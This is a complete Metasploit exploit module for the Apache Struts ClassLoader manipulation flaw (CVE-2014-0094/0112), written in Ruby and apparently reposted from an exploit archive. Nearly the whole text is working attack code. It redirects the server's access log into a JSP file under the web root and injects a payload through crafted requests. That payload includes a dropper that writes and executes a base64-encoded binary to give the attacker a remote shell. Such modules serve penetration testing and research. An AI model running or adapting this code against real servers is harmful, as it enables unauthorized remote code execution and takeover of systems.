Apache Struts – ClassLoader Manipulation Remote Code Execution (Metasploit)
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking # It's going to manipulate the Class Loader include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Apache Struts ClassLoader Manipulation Remote Code Execution', 'Description' => %q{ This module exploits a remote command execution vulnerability in Apache Struts versions < 2.3.16.2. This issue is caused because the ParametersInterceptor allows access to 'class' parameter which is directly mapped to getClass() method and allows ClassLoader manipulation, which allows remote attackers to execute arbitrary Java code via crafted parameters. }, 'Author' => [ 'Mark Thomas', # Vulnerability Discovery 'Przemyslaw Celej', # Vulnerability Discovery 'pwntester <alvaro[at]pwntester.com>', # PoC 'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2014-0094'], ['CVE', '2014-0112'], ['URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'], ['URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html'] ], 'Platform' => %w{ linux win }, 'Payload' => { 'Space' => 5000, 'DisableNops' => true }, 'Targets' => [ ['Java', { 'Arch' => ARCH_JAVA, 'Platform' => %w{ linux win } }, ], ['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], ['Windows', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ] ], 'DisclosureDate' => 'Mar 06 2014', 'DefaultTarget' => 1)) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]) ], self.class) end def jsp_dropper(file, exe) dropper = <<-eos <%@ page import=\"java.io.FileOutputStream\" %> <%@ page import=\"sun.misc.BASE64Decoder\" %> <%@ page import=\"java.io.File\" %> <% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); %> <% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %> <% oFile.flush(); %> <% oFile.close(); %> <% File f = new File(\"#{file}\"); %> <% f.setExecutable(true); %> <% Runtime.getRuntime().exec(\"./#{file}\"); %> eos dropper end def dump_line(uri, cmd = "") res = send_request_cgi({ 'uri' => uri+cmd, 'version' => '1.1', 'method' => 'GET', }) res end def modify_class_loader(opts) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path.to_s), 'version' => '1.1', 'method' => 'GET', 'vars_get' => { "class['classLoader'].resources.context.parent.pipeline.first.directory" => opts[:directory], "class['classLoader'].resources.context.parent.pipeline.first.prefix" => opts[:prefix], "class['classLoader'].resources.context.parent.pipeline.first.suffix" => opts[:suffix], "class['classLoader'].resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format] } }) res end def check_log_file(hint) uri = normalize_uri("/", @jsp_file) print_status("#{peer} - Waiting for the server to flush the logfile") 10.times do |x| select(nil, nil, nil, 2) # Now make a request to trigger payload vprint_status("#{peer} - Countdown #{10-x}...") res = dump_line(uri) # Failure. The request timed out or the server went away. fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil? # Success if the server has flushed all the sent commands to the jsp file if res.code == 200 && res.body && res.body.to_s =~ /#{hint}/ print_good("#{peer} - Log file flushed at http://#{peer}/#{@jsp_file}") return true end end false end # Fix the JSP payload to make it valid once is dropped # to the log file def fix(jsp) output = "" jsp.each_line do |l| if l =~ /<%.*%>/ output << l elsif l =~ /<%/ next elsif l.chomp.empty? next else output << "<% #{l.chomp} %>" end end output end def create_jsp if target['Arch'] == ARCH_JAVA jsp = fix(payload.encoded) else payload_exe = generate_payload_exe payload_file = rand_text_alphanumeric(4 + rand(4)) jsp = jsp_dropper(payload_file, payload_exe) register_files_for_cleanup(payload_file) end jsp end def exploit prefix_jsp = rand_text_alphanumeric(3+rand(3)) date_format = rand_text_numeric(1+rand(4)) @jsp_file = prefix_jsp + date_format + ".jsp" # Modify the Class Loader print_status("#{peer} - Modifying Class Loader...") properties = { :directory => 'webapps/ROOT', :prefix => prefix_jsp, :suffix => '.jsp', :file_date_format => date_format } res = modify_class_loader(properties) unless res fail_with(Failure::TimeoutExpired, "#{peer} - No answer") end # Check if the log file exists and hass been flushed if check_log_file(normalize_uri(target_uri.to_s)) register_files_for_cleanup(@jsp_file) else fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed") end # Prepare the JSP print_status("#{peer} - Generating JSP...") jsp = create_jsp # Dump the JSP to the log file print_status("#{peer} - Dumping JSP into the logfile...") random_request = rand_text_alphanumeric(3 + rand(3)) jsp.each_line do |l| unless dump_line(random_request, l.chomp) fail_with(Failure::Unknown, "#{peer} - Missed answer while dumping JSP to logfile...") end end # Check log file... enjoy shell! check_log_file(random_request) # No matter what happened, try to 'restore' the Class Loader properties = { :directory => '', :prefix => '', :suffix => '', :file_date_format => '' } modify_class_loader(properties) end end |